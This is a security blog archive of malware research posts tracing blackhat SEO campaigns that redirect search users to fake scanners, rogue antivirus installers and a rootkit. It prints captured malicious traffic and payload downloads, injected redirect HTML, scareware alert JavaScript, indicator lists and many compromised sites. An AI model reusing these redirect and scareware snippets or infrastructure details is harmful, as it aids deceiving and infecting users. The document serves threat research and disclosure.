Tag Archives: blackhat seo

Suspicious activity for domains .co.cc

While doing some google searches for particular keywords, with a specific google search we have noted that in some cases the websites found have the same URL after the .co.cc and that all of them use a $_GET[‘k’] query related to the keyword I was searching for. Almost all the links found have also the same HTML template and they look like to be non-live websites, maybe are used to capture keywords or are related to some kind of SEO poisoning activity:

Image

The secret has been revealed:

GET /index.php?k=virus-scan HTTP/1.1
Host: liostimoremvfk.co. cc

Response:

HTTP/1.1 302 Found
Date: Tue, 19 Apr 2011 16:43:03 GMT
Server: Apache/2.2.9 (Debian) DAV/2 SVN/1.4.2 PHP/5.2.6-1+lenny8 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny8
Location: hxxp://includingwhich.cz. cc/in.cgi?4&seoref=[...]
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Connection: close
Content-Type: text/html
 
....................

There is a redirect to… guess what ? A fake scanner page…

Image

Image

Is prompted a popup window to download the rogue security software setup:

Image

Network traffic:

GET /get_file.php?id=16 HTTP/1.1
Host: mywebavck-2.co. cc
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16
 
HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 14:41:25 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.14
Content-Description: File Transfer
Content-Length: 331776
Content-Disposition: attachment; filename="setup.exe"
Connection: close
Content-Type: application/download
 
MZ......................@..................[...]

The setup file looks like to be almost undetected by Antiviruses:

Report date: 2011-04-19 16:51:48 (GMT 1)
File name: setup-exe
File size: 331776 bytes
MD5 hash: c6adf910c8e56b4b0577ddface41898d
SHA1 hash: 978794a9705fec3f5dd5d7256b147a75d6c6f6fe
Detection rate: 0 on 10 (0%)
Status: CLEAN

Few malicious domains .co.cc used to capture keywords:

plandicardyu9.co.cc/index.php?k=Spun
pensvernohp.co.cc/index.php?k=16-blocks-wiki
jacbocome6.co.cc/index.php?k=Pianist,-The
setibetkeee8r.co.cc/index.php?k=xXx
vacuumguide.co.cc/index.php?k=loop
vacuumreview.co.cc/index.php?k=actress
catbepow372.co.cc/index.php?k=Few-Good-Men,-A
loismolaqimvab.co.cc/index.php?k=Upside-of-Anger,-The
loismolaqimvab.co.cc/index.php?k=007-goldeneye
nutnorbntegiw0.co.cc/index.php?k=Hoodwinked!
pordisfpoc64.co.cc/index.php?k=faculty-the
bustmiswoodckosnh.co.cc/index.php?k=Webs
bustmiswoodckosnh.co.cc/index.php?k=007-The-Spy-Who-Loved-Me
lrecamac8r4.co.cc/index.php?k=Shaft
phoderadc9i.co.cc/index.php?k=Sentinel,-The
buzzpozapyq5.co.cc/index.php?k=Freedomland
tionforhardversry.co.cc/index.php?k=007-Octopussy
scesniasay3u.co.cc/index.php?k=Prince-and-Me-2,-The
rohislantsello.co.cc/index.php?k=Grind
xpowgihydreegk.co.cc/index.php?k=Gladiatress
xpowgihydreegk.co.cc/index.php?k=15-minutes-pr
buitalanbu6.co.cc/index.php?k=Ali
arenelx1l.co.cc/index.php?k=Open-Range
saduhydsp.co.cc/index.php?k=007-Goldfinger
saiclevaps1s.co.cc/index.php?k=Alien:-Resurrection
hoerhinbendescrt.co.cc/index.php?k=Core,-The
fledunoutin5t.co.cc/index.php?k=21-grams-casting-director
teoucbosonenfo.co.cc/index.php?k=Rules-of-Attraction,-The
apsagsoumyp42o.co.cc/index.php?k=Predator-2
fanbaperpeisg.co.cc/index.php?k=Dungeons
metersaddrantb7.co.cc/index.php?k=Fast-and-the-Furious,-The
ibsummabobs1q.co.cc/index.php?k=Body,-The
tingrobfoz60.co.cc/index.php?k=15-minutes-of-shame
macronessi9.co.cc/index.php?k=1941
macronessi9.co.cc/index.php?k=When-a-Stranger-Calls
filtsubscalsuvrl.co.cc/index.php?k=Die-Hard:-With-a-Vengeance
siidosantv.co.cc/index.php?k=007-Licence-to-Kill
siidosantv.co.cc/index.php?k=Get-Shorty
questeprap28.co.cc/index.php?k=Bourne-Identity,-The
geoganshi5n5.co.cc/index.php?k=Jaws-2
riapaewarmcooksbm.co.cc/index.php?k=007-live-and-let-die-online
decapivetr.co.cc/index.php?k=Changing-Lanes
ictiforkh.co.cc/index.php?k=Cheaper-by-the-Dozen
ictiforkh.co.cc/index.php?k=Spun
sandsatdar3.co.cc/index.php?k=Dances-with-Wolves
gatthanbastams.co.cc/index.php?k=Hudsucker-Proxy,-The
gatthanbastams.co.cc/index.php?k=Cellular
deathstippark1h.co.cc/index.php?k=English-Patient,-The
deathstippark1h.co.cc/index.php?k=Clerks.
crowpaetucep95m.co.cc/index.php?k=Clerks.
adefarichz.co.cc/index.php?k=Dogma
adefarichz.co.cc/index.php?k=16-blocks-review
talcoutip2y.co.cc/index.php?k=Pride
opupreggazti.co.cc/index.php?k=Fahrenheit-9/11
opupreggazti.co.cc/index.php?k=bewitched-cast
sqeestheogwenrepm83.co.cc/index.php?k=Bread-and-Roses
pekiguaningmv.co.cc/index.php?k=Rollerball
congrinaleo.co.cc/index.php?k=View-from-the-Top
cuttcanthnaznu.co.cc/index.php?k=Scream-3
kannmowarmq2.co.cc/index.php?k=Cliffhanger
gesnecalti7qc.co.cc/index.php?k=U-571
parlandcolrac1u.co.cc/index.php?k=Scream-2
rapaconptf.co.cc/index.php?k=Ali
profifreturqn.co.cc/index.php?k=007-Octopussy
dendthylthejnu.co.cc/index.php?k=Mummy,-The
ictiforkh.co.cc/index.php?k=Corky-Romano

Note that the value after k= is same as page title!

Other related malicious domains:

apsagsoumyp42o.co.cc
cklik.in
degreesupplies.cz.cc
montlimal.co.cc
optimizes.cz.cc
sadrfedwer.co.cc
talcoutip2y.co.cc
volecap.cz.cc
www.cklik.in
yhnecqapp.co.cc

All these malicious domains appear to be hosted in this IP address:

95.169.191.217
ns2.km35913.keymachine.de
95.169.160.0/19 - Keyweb AG IP Network
AS31103 - KEYWEB-AS Keyweb AG

IPVoid analysis:

http://www.ipvoid.com/scan/95.169.191.217

New Domains Used for BlackHat SEO Campaigns

We noticed again a massive number of infected websites used to collect popular keywords and to spread malicious links that are used to redirect users to websites that promote rogue security software.

Fake Internet Explorer Alerts

Fake scanner page:

Fake Scanner Page

Network traffic:

GET /photos/view.php?user=1 HTTP/1.1
Host: jerryfuentes. com
 
HTTP/1.1 302 Moved Temporarily
Date: Sun, 09 Jan 2011 11:05:09 GMT
Location: hxxp://www3.bestsecurityarmy. in/?82ccbe16=XXX
 
GET /?82ccbe16=XXX HTTP/1.1
Host: www3.bestsecurityarmy. in
 
HTTP/1.1 302 Moved Temporarily
Date: Sun, 09 Jan 2011 11:05:09 GMT
Location: hxxp://www1.pc-cleanersoftwa. in?010bx=XXX
 
GET /?r8lf=XXX HTTP/1.1
Host: www1.pc-cleanersoftwa. in
 
GET /?8ae1381bc1=XXX HTTP/1.1
Host: www4.safe-zoneks. net
 
GET /cl/7/icon_sprite.jpg HTTP/1.1
Host: www1.zone-protectionri. com

As we can see from the following image:

Random HTML Class Names

The class names and other HTML parts have been randomized most probably to try to bypass heuristic detections of real security software.

The title of the fake scanner page is always:

<title>Security Analysis</title>

Other encoded scripts:

Encoded Scripts

At the end, the user is prompted to download an executable:

Executable Download

It is the executable of another rogue security software!

Network traffic:

GET /oey106_290.php?b731diej=XXX HTTP/1.1
Host: www1.getioucured. in

HTTP/1.1 200 OK
Date: Sun, 09 Jan 2011 11:11:51 GMT
Content-Type: application/octetstream
Pragma: hack
Content-Length: 314368
Content-Disposition: attachment; filename=sysupdate8_290.exe
Content-Transfer-Encoding: binary

MZG.........

BlackHat SEO Campaign used to spread Smart Engine

A new blackhat seo campaign is distributing the setup installer of the new rogue security software named Smart Engine. The spreading status looks like to be pretty aggressive, we have logged more than 2000 infected websites that are used to capture popular keywords and to redirect users to malicious urls or other fake scanner pages, with the intent to install the rogue software installer.

When an user clicks on an infected url, there is a redirection:

<html>
<head>
<title></title>
<meta http-equiv="refresh" content="0; url=hxxp://www4.get-bestlink3 .co.cc/?30650ebe=XXX">
</head>
<body>
<script language="javascript">
self.location.href = "hxxp://www4.get-bestlink3 .co.cc/?30650ebe=XXX";
</script>
<a href="hxxp://www4.get-bestlink3 .co.cc/?30650ebe=XXX">Please Click Here</a>
</body>
</html>

Domain & IP Analysis:

www4.get-bestlink3 .co.cc
209.212.149.22 – ip-209.212.149.22.servernap.net

Another redirection:

HTTP/1.1 302 Moved Temporarily
Location: hxxp://www2.best-install10 .co.cc/?p=XXX

Domain & IP Analysis:

www2.best-install10 .co.cc
212.117.168.150 – ip-212-117-168-150.server.lu

And now we can see the fake scanner page:

Fake Scanner Page

After few times, it is prompted the download of an executable:

Executable File Download

Location: hxxp://www2.doit-nowandfast .net/ejvlkn107_2211.php?p=XXX
HTTP/1.1 200 OK
Content-Type: application/octetstream
Pragma: hack
Content-Length: 270336
Content-Disposition: attachment; filename=packupdate107_2211.exe
Content-Transfer-Encoding: binary
Set-Cookie: ds=1

Domain & IP Analysis:

www2.doit-nowandfast .net
188.65.74.86 – –

The downloaded file is the installer of the Smart Engine rogue security software:

Smart Engine Installer

Main GUI of Smart Engine:

Smart Engine GUI

Smart Engine main executable is trying to connect to a remote host:

Windows Firewall Alert

GET /index.php?0d40b0=mNjf0tXm1J2a0du01sLl35A%3D HTTP/1.0
Host: update1.liwnarwlentoristorg910 .net
 
GET /?0d40b0=XXX HTTP/1.0
Host: report1.liwnarwlentoristorg910 .net

DNS Queries:

www5.smart-engine .net
secure1.buy-the-guardian .com

Domain & IP Analysis:

update1.liwnarwlentoristorg910 .net
188.65.74.83 – –
report1.liwnarwlentoristorg910 .net
209.222.8.102 – 209.222.8.102.choopa.net

Activation page:

Smart Engine Activation Page

GET /?kp=kdTHxeevuH5zneDK4eiso1Pk28WhmJI%3D HTTP/1.1
Host: secure1.wlentor-traden-quzonk-1 .com

Domain & IP Analysis:

secure1.wlentor-traden-quzonk-1 .com
69.57.173.219 – –

Smart Engine is sold for:

$49.95 -> 6 Month Guard Subscription
$69.95 -> 1 Year Guard Subscription
$89.95 -> Lifetime Guard Subscription

Network traffic:

HEAD / HTTP/1.1
Host: update1.wlentor-traden-quzonk-1 .com
 
HEAD / HTTP/1.1
Host: report1.wlentor-traden-quzonk-1 .com
 
HEAD / HTTP/1.1
Host: www5.wlentor-traden-quzonk-1 .com

Domain & IP Analysis:

update1.wlentor-traden-quzonk-1 .com
173.244.223.32 – 173.244.223.32.static.midphase.com
report1.wlentor-traden-quzonk-1 .com
173.244.223.37 – 173.244.223.37.static.midphase.com
www5.wlentor-traden-quzonk-1 .com
69.57.173.221 – –

The subdomain used for the activation page changed few IPs during the analysis:

09/10/2010 14.32.58 # secure1.wlentor-traden-quzonk-1 .com # 209.212.149.23
09/10/2010 14.32.57 # secure1.wlentor-traden-quzonk-1 .com # 69.57.173.219

Network traffic:

GET /?xohmdu=XXX HTTP/1.1
Host: update1.wlentor-traden-quzonk-1 .com
Content-Type: application/octetstream
Pragma: hack
Content-Length: 1307
Content-Disposition: attachment; filename=04869.ini
Content-Transfer-Encoding: binary
GET /?pg=XXX HTTP/1.1
Host: report1.wlentor-traden-quzonk671 .com

Domain & IP Analysis:

report1.wlentor-traden-quzonk671 .com
174.36.42.71 – amu.furumoon.net

The subdomain changed few IPs during the analysis:

09/10/2010 14.33.04 # report1.wlentor-traden-quzonk671 .com # 174.36.42.71
09/10/2010 14.33.06 # report1.wlentor-traden-quzonk671 .com # 209.222.8.100

DNS Queries:

.............cilt442vyabkqqv.com.....
.............cilt442vyabkqqv.com.....À........D.&%v=spf1 a mx ip4:209.222.8.100/22 ?all

The malware queried an external url to get our remote IP:

GET /get_ip.php?loc= HTTP/1.1
Host: www.myip .ru

After few time, we noticed a connections loop:

HEAD / HTTP/1.1
User-Agent: Sm17a_2211
Host: 74.125.45.100
 
HEAD / HTTP/1.0
User-Agent: Sm17a_2211
Host: 74.125.45.100
 
HEAD / HTTP/1.0
User-Agent: Sm17a_2211
Host: 74.125.45.100

It looks like it tried to connect to google IP to see if the victim is online.

New domain used for payments, note the HTTPS:

Location: hxxps://secure.onlinesystempayment .com/?abbr=SME&price_name=6month&ext3=2211&ext1=MD5HASH&ext2=wvXP;b_IE6;107;11111;MainWindow;day;671;1;0&card=visa

Domain & IP Analysis:

secure.onlinesystempayment .com
209.212.149.23 – ip-209.212.149.23.servernap.net

New connection on port 443:

Remote Address    : 96.9.160.110
Remote Port       : 443
Service Name      : https

IP Analysis:

96.9.160.110 – 96-9-160-110.hostnoc.net

The malware queried also a legit website related to SSL certificates:

GET /GLOBESSLDomainValidatedCA.crt HTTP/1.1
User-Agent: Microsoft-CryptoAPI/5.131.2600.2180
Host: crt.globessl.com

Files created during the installation of the rogue security software:

Files Created

Created desktop icon:

Desktop Icon

Smart Engine installed files:

Smart Engine Files

The hosts file has been modified and it has now +S (System) attribute:

Hosts File System Attribute

Hosts file content:

Hosts File Content

BlackHat SEO Attacks Redirect to 4DW4R3 Rootkit

We have analyzed a new blackhat seo attack these days and we have noticed that now the main target of these attacks are not anymore the spread of rogue security software, but instead they try to spread the dangerous 4DW4R3 rootkit, and then with this rootkit they may install, in future, a new rogue security software in the victim’s computer.

Below there is a small analysis of the network traffic we have captured during the analysis of these new blackhat seo attacks. The targets of the attacks are mostly keywords related to iphone, episodes of cartoons and world cup 2010 matches.

Hijacked URL:

traseusa .com/images/page.php?r=keyword

Response:

<html>
<head>
<title></title>
<meta http-equiv="refresh" content="0; url=hxxp://portalkey .org/?affid=415&subid=landing">
</head>
<body>
<script language="javascript">
self.location.href = "hxxp://portalkey .org/?affid=415&subid=landing";
</script>
<a href="hxxp://portalkey .org/?affid=415&subid=landing">Please Click Here</a>
</body>
</html>

Domain & IP Analysis:

portalkey .org91.212.127.96

The domain portalkey .org is used to display to the user fake security alerts and false system scan reports showing the system is completely infected by trojans:

Image

By analyzing the source of the HTML page, we can see that it uses javascript to display the fake alerts and the fake system scan reports, as example we have extracted few lines of code from the infected page:

{ 		
	alert(this.___("Windows Security Center recommends you to install System Security Antivirus."));
	t.MyConfirm(); 	
}

Image

ExitPopupMessage():

ExitPopupMessage : function()
{ 	
	alert(	this.___("Your computer remains infected by viruses!") + 
	this.___("They can cause data loss and file damages and need to be cured as soon as possible.") + "\n\n" +
	this.___("Return to System Security and download it secure to your PC")); 
}

In particular, the above code will be executed everytime you try to close Internet Explorer and it will force the user to open again the infected page with the Internet Explorer web browser even if the user clicks on “Cancel” button! This can be called like a persistence code that has the main intent to make sure the user will click, before or then, in the malicious page to download the rootkit executable.

clicksmell .org/x92s/uc12vx04/xdtldil.php?id=369

Domain & IP Analysis:

clicksmell .org91.188.59.220

And now it is requested to download the 4dw4r3 executable:

portalkey .org/dl.php?f=XXX&subid=1

Image

Response:

HTTP/1.1 200 OK
Server: nginx/0.7.63
Content-Type: application/octet-stream
Pragma: hack
Content-Length: 11776
Content-Disposition: attachment; filename=WinSecurityInstaller.exe
Content-Transfer-Encoding: binary

Note that the executable file is named as an executable of a rogue security software “WinSecurityInstaller.exe” but in real it will install the rootkit 4DW4R3…

Cookies:

Cookie: NOT_UNIQUE=1; USER_DATA=XXX; TEMPLATE=XXX; affid=409; subid=landing

We have executed the rootkit loader in our sandbox:

Image

Network activity:

GET /a/ad HTTP/1.1
Host: www.searchannoying .org
 
GET /any3/5-direct.ex HTTP/1.1
User-Agent: wget 3.0
Host: searchannoying .org
 
POST /css/pragma/knock.php HTTP/1.1
Host: analitycsdead .com
 
GET /css/pragma/crcmds/main HTTP/1.0
Host: analitycsdead .com
 
GET /css/pragma/srcr.dat HTTP/1.0
Host: analitycsdead .com
 
GET /css/pragma/crcmds/install HTTP/1.0
Host: analitycsdead .com
 
GET /css/pragma/crfiles/serf HTTP/1.0
Host: analitycsdead .com
 
GET /css/pragma/crfiles/bbr HTTP/1.0
Host: analitycsdead .com
 
GET /readdatagateway.php?type=stats&affid=415&subid=landing&version=4.0&adwareok HTTP/1.1
User-Agent: wget 3.0
Host: searchannoying .org

Domain & IP Analysis:

searchannoying .org91.212.127.96
analitycsdead .com62.122.73.242

Files in Temp Directory:

Image

After few hours, has popped up this new window:

Image

Surprise ? No… It is a rogue security software installer…

Blackhat SEO Attacks targeting (again) World Cup 2010

World Cup 2010 is yet a very popular keyword searched in search engines and we have recently noticed again various blackhat seo attacks that hijacked keywords related to World Cup 2010, players and matches.

The situation is always the same, an user search a keyword, hijacked urls are visible even in first pages and after user has clicked in a malicious url, he is redirected to a fake YouTube video page that spreads setup files of rogue security software. During analysis we logged few new dangerous domains used in these recent blackhat seo campaigns:

www4.protect-soft92.co.cc / 74.118.193.81
www4.protect-soft91.co.cc / 74.118.193.81
www4.protect-soft90.co.cc / 74.118.193.81
www4.protect-soft89.co.cc / 74.118.193.81
www4.protect-soft88.co.cc / 209.212.149.19
www4.protect-soft86.co.cc / 209.212.149.19
www2.soft-analysis84.co.cc / 74.3.166.116
www4.protect-soft82.co.cc / 209.212.149.19
www2.soft-analysis82.co.cc / 74.3.166.116
www2.soft-analysis81.co.cc / 74.3.166.116
www2.soft-analysis79.co.cc / 74.3.166.116
www2.soft-analysis72.co.cc / 94.228.220.112

These malicious websites are used to display the fake scanner page to scary the user with repeated security alerts and to simulate a scan report full of threats that looks like the “My Computer” folder:

Image

The rogue security software that was installed during our tests is named Security Tool and after it is installed it blocks the execution of every application, except if the application we want to execute has the file name iexplore.exe. So basically it allows user to open only Internet Explorer (iexplore.exe) and all other applications are blocked. A simple workaround fix is to rename your analysis tools as iexplore.exe and it will run just fine!

Fake security alert that blocks the execution of a legit setup file:

Image

Main GUI of the rogue security software Security Tool:

Image

Another fake security alert:

Image

Malicious domain bestellkanal.tv has been suspended

In one of our previous articles we have wrote info about new massive blackhat seo attacks that have infected a high number of websites. The main website used in that blackhat seo campaign to redirect users to dangerous websites, used for spreading rogue security software, was name bestellkanal.tv and we noticed that, finally, it has been suspended.

After testing some websites that are still infected, we noticed that now they redirect users to the suspended page, avoiding the redirect to the websites that were used for spreading the setup files of rogue security software. Below we can see traffic generated by a website that is still infected and that is now “not dangerous” as before:

Hijacked URL:

1
2
GET /webshop2/images/page.php?page=kate+walsh HTTP/1.1
Host: www.uwpiaa.org (69.174.115.206)

Response code:

1
2
3
4
5
HTTP/1.1 200 OK
Date: Sat, 21 Aug 2010 13:47:54 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Content-Type: text/html

Fake Youtube page:

Image

Load player.gif for the fake video:

1
2
GET /images/player.gif HTTP/1.1
Host: www.uwpiaa.org

Redirection to bestellkanal.tv:

1
2
GET /webshop2/images/load.swf?&p=0&t=_self&u=hxxp://www.bestellkanal.tv/images/redir.php HTTP/1.1
Host: www.uwpiaa.org

Final redirection to bestellkanal.tv:

1
2
GET /images/redir.php HTTP/1.1
Host: www.bestellkanal.tv

Output:

Image

Domain has been suspended.

The malicious domain named bestellkanal.tv was a vital part of the blackhat seo campaign because it was the final redirect used to receive the address of the dangerous websites, updated in most cases more than two times per day, used for promoting and spreading the rogue security software. Suspending the domain has caused a hole in the redirection system of this malicious blackhat seo campaign.

New Massive BlackHat SEO Attacks

We noticed in these days a new massive number of websites hacked and used in a new campaign of blackhat seo attack with the objective to redirect all users to very dangerous websites that spread the infamous and well known rogue security software and the other dangerous threats such as TDSS rootkit and Zeus.

The hijacked keywords are:

melina+kanakaredes
vonage+login
ind+vs+zim
diff+rent+strokes
amgentourofcalifornia
derrick+favors
mayweather+vs+mosley+results
redspottv+hot+video
liddell+vs+franklin
2012+movie
ufc+116+fight+card
law+and+order+cancelled
eclipse+box+office
ali+bachelorette
cheap+laptops

Pay attention when you search one of the above keywords in search engines as even in the first page of the results is possible to find one of the malicious websites that redirect to dangerous urls.

When an user click on an infected link from the search results, the user is redirected to a malicious website url that looks like identical to YouTube but with a surprise:

Image

When the user click in the black box of the fake video to play it, the browser is hijacked by malicious scripts and is displayed the classic fake scanner page:

Image

This is a complete trace of the network traffic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
GET /images/page.php?page=keyword&check= HTTP/1.1
Host: www.schermionline .it
 
GET /tick.php?sub=1&r=&u= HTTP/1.1
Host: export.byethost3 .com
 
GET / HTTP/1.1
Host: webcache109 .com
 
GET /images/load.swf?&p=0&t=_self&u= HTTP/1.1
Host: www.schermionline .it
 
GET /images/redir.php HTTP/1.1
Host: www.bestellkanal .tv
 
GET /images/we.php?uid=2034 HTTP/1.1
Host: www.bestellkanal .tv
 
HTTP/1.1 302 Found
Location: hxxp://www3.true-av31 .co.cc/?p=
 
GET /?p= HTTP/1.1
Host: www3.true-av31 .co.cc
 
HTTP/1.1 302 Moved Temporarily
Location: hxxp://www2.ipsec30 .co.cc/?p=
 
GET /?p= HTTP/1.1
Host: www2.ipsec30 .co.cc
 
GET /107a6da77d1a9deac7f69c7524e7980135ed3011811.js HTTP/1.1
Host: www2.ipsec30 .co.cc
 
GET /wadr107_2034.php?p= HTTP/1.1
Host: www1.mysecurity8 .co.cc
 
GET /packupdate107_2034.exe HTTP/1.1
Host: www1.mysecurity8 .co.cc

A summary of malicious domains extracted from the network traffic:

schermionline.it / 217.160.5.133
export.byethost3.com / 209.51.196.250
bestellkanal.tv / 194.145.226.48
www3.true-av31.co.cc / 74.118.193.81
www2.ipsec30.co.cc / 209.222.3.154
www1.mysecurity8.co.cc / 209.222.8.181

This is a small list of compromised websites:

uniquephotollc.com   (69.89.27.211)
familyyoga.org   (66.96.131.33)
mskeever.com   (66.96.130.49)
randyhortonassociates.com   (66.96.130.40)
kheirgroup.com   (66.96.132.9)
ganddsteidtmann.net   (66.96.131.4)
treeoflifeinc.org   (66.147.240.158)
wanakaconference.com   (69.89.22.121)
wallisprinting.com   (69.89.22.101)
tri-statehobbies.com   (70.40.210.51)
traviskmillward.com   (70.40.211.228)
honourbound.com   (66.96.131.7)
saintlouisspring.com   (66.33.213.72)
deltadawnkennels.com   (66.96.131.57)
unionpacificband.com   (69.89.27.248)
number301.com   (66.96.131.85)
walkercountyfair.com   (74.220.202.37)
olneyprep.org   (66.96.132.32)
unforgettablelicensing.com   (69.89.25.175)
bobbyloves.com   (66.96.132.71)
canyonlandsutah.com   (66.96.130.85)
wail-ss.org   (66.96.132.16)
barrybusby.com   (66.96.131.12)
urbanauthentic.com   (69.89.22.110)
webbsrvsupply.com   (70.87.155.26)
gardensbypat.com   (66.96.130.23)
vsracing.net   (74.220.203.167)
wdbc.net   (66.96.130.122)
deluxecakesandpastries.com   (66.96.130.87)
studiodahan.com   (66.96.131.150)
trafficgrafix.com   (74.220.219.124)
salelimo.com   (69.163.251.53)
swoonrocket.com   (66.96.131.30)
drdoregilbert.com   (66.96.132.114)
depauldems.org   (66.96.131.124)
millerstuartinc.com   (66.96.132.99)
zzzap.net   (66.96.131.131)
saunderslawoffice.com   (66.96.131.56)
w-o-o.com   (74.220.219.141)
aaronschuman.com   (66.96.131.145)
sbuild.com   (69.163.237.218)
vmgoflompoc.com   (74.220.202.34)
uptil2music.com   (69.89.22.126)
reddotav.com   (66.96.131.150)
vitalpix.com   (74.220.215.107)
dmcclure.org   (66.96.132.116)
thirtygreen.com   (174.120.117.123)
kellymariesdancewear.co.uk   (85.92.73.119)
deltaarsenal.com   (69.174.52.51)
lensesforless.com   (216.166.84.5)
ncc-achmm.org   (64.235.49.231)
trentbosch.com   (209.217.36.7)
naslub.pl   (77.55.79.46)
cd-tools.de   (87.106.63.62)
advent-umc.org   (67.225.163.159)
salsaboston.com   (67.15.55.147)
alleycatmedia.com.au   (67.228.238.14)
discountblindparts.com   (65.99.242.66)
thaifishshop.net   (122.155.1.40)
boomeranggames.com.br   (189.38.91.27)
bestdiscountperfumeonline.com   (72.52.141.138)
repuestosjuanito.com   (212.34.152.245)
verkkokauppa.jkitsolutions.fi   (77.240.21.141)
hcj.sju.edu.tw   (163.21.75.57)

1000 hacked websites used for BlackHat SEO

We have logged more than 1000 websites hacked and used in recent BlackHat SEO attacks with the objective to redirect users to fake scanner pages used to spread rogue security software such as Defense Center or to other very dangerous websites used to exploit web vulnerabilities to install banking trojans in victims computer.

Here is the full list of logged websites, some of them may be already cleaned but most of the others are still active, infact if we dump the content of some URLs, we can see a redirection to cnn.com and it is a symptom the infection is still alive (as seen on this analysis):

netwithus.com – (66.96.132.120) – /qaehg.php?off=
stmarksma.org – (66.96.130.142) – /rfohs.php?in=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
animalcliniceq.com – (66.96.132.48) – /vvbyw.php?t=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
rhindsarts.com – (66.96.131.69) – /eaxic.php?id=
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
deltronitalia.it – (195.110.125.55) – /nav/navi148.html
teamhinga.net – (69.89.22.101) – /dxuwq.php?do=
raniaajami.com – (69.163.241.119) – /zooub.php?topic=
technights.net – (66.147.252.155) – /drqdt.php?topic=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
deltronitalia.it – (195.110.125.55) – /nav/navi607.html
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
bostontan.com – (66.96.130.48) – /utrnj.php?page=
joemagicshows.com – (66.96.130.149) – /pzcjt.php?ad=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
technights.net – (66.147.252.155) – /drqdt.php?topic=
njboxerclub.com – (66.96.131.150) – /xeuqh.php?pageid=
techtransfer.us – (69.89.20.54) – /wjjns.php?m=
teem-soft.com – (74.220.202.34) – /nbwfj.php?topic=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
tcsmarketing.com – (69.89.25.166) – /cvzcs.php?id=
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
joemagicshows.com – (66.96.130.149) – /pzcjt.php?ad=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
teachermathinc.com – (74.220.202.37) – /fmmih.php?m=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
tedprescottsculpture.com – (69.89.22.129) – /sppzd.php?go=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
teachermathinc.com – (74.220.202.37) – /fmmih.php?m=
antillasint.com – (66.96.132.61) – /cxcgx.php?page=
joemagicshows.com – (66.96.130.149) – /pzcjt.php?ad=
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
teaandcoffeeministries.com – (74.220.215.233) – /qkcpv.php?on=
raymondreview.ca – (66.33.210.104) – /uuphs.php?id=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
ratpad.org – (208.97.177.171) – /nylyb.php?ad=
raphaelrolland.com – (173.236.129.180) – /tqtaa.php?id=
tecnopack.pt – (69.89.31.62) – /ohrsy.php?t=
auntemilysdolls.com – (66.96.131.3) – /dcztc.php?topic=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
teach42.com – (69.89.27.211) – /styvb.php?do=
tcmacpa.net – (74.220.202.41) – /chsfe.php?go=
cockybrat.com – (66.96.130.127) – /esbcw.php?id=
ravenousrob.com – (208.97.183.197) – /gkwlu.php?sell=
teamgreenlawn.com – (69.89.21.97) – /xwioh.php?topic=
tcvma.com – (69.89.25.160) – /oknfk.php?m=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
rareart.dk – (69.163.248.235) – /nhrrf.php?pageid=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
evansvillecursillo.com – (66.96.132.120) – /orovc.php?go=
tek-racing.net – (69.89.25.194) – /lelal.php?t=
forestbrookhoa.com – (66.96.130.20) – /cmyhf.php?m=
teachermathinc.com – (74.220.202.37) – /fmmih.php?m=
ravenwindsstudio.com – (208.113.194.78) – /ghdup.php?do=
barbolafuneralchapel.com – (66.96.131.54) – /cbyrt.php?off=
mtnguy.com – (66.96.132.120) – /ykiax.php?off=
raven-suzuki.com – (173.236.154.133) – /tpqmf.php?on=
techtransfer.us – (69.89.20.54) – /wjjns.php?m=
borinquensalsa.com – (66.96.132.81) – /qmcmk.php?ad=
randyrants.com – (75.119.195.20) – /jjsud.php?a=
boutiqueuandi.com – (66.96.132.80) – /xvddd.php?do=
deltronitalia.it – (195.110.125.55) – /nav/navi85.html
teach42.com – (69.89.27.211) – /styvb.php?do=
deltronitalia.it – (195.110.125.55) – /nav/navi128.html
summerairhvac.com – (66.96.132.56) – /vyttt.php?p=
techexpress.com – (69.89.25.170) – /rjsxv.php?on=
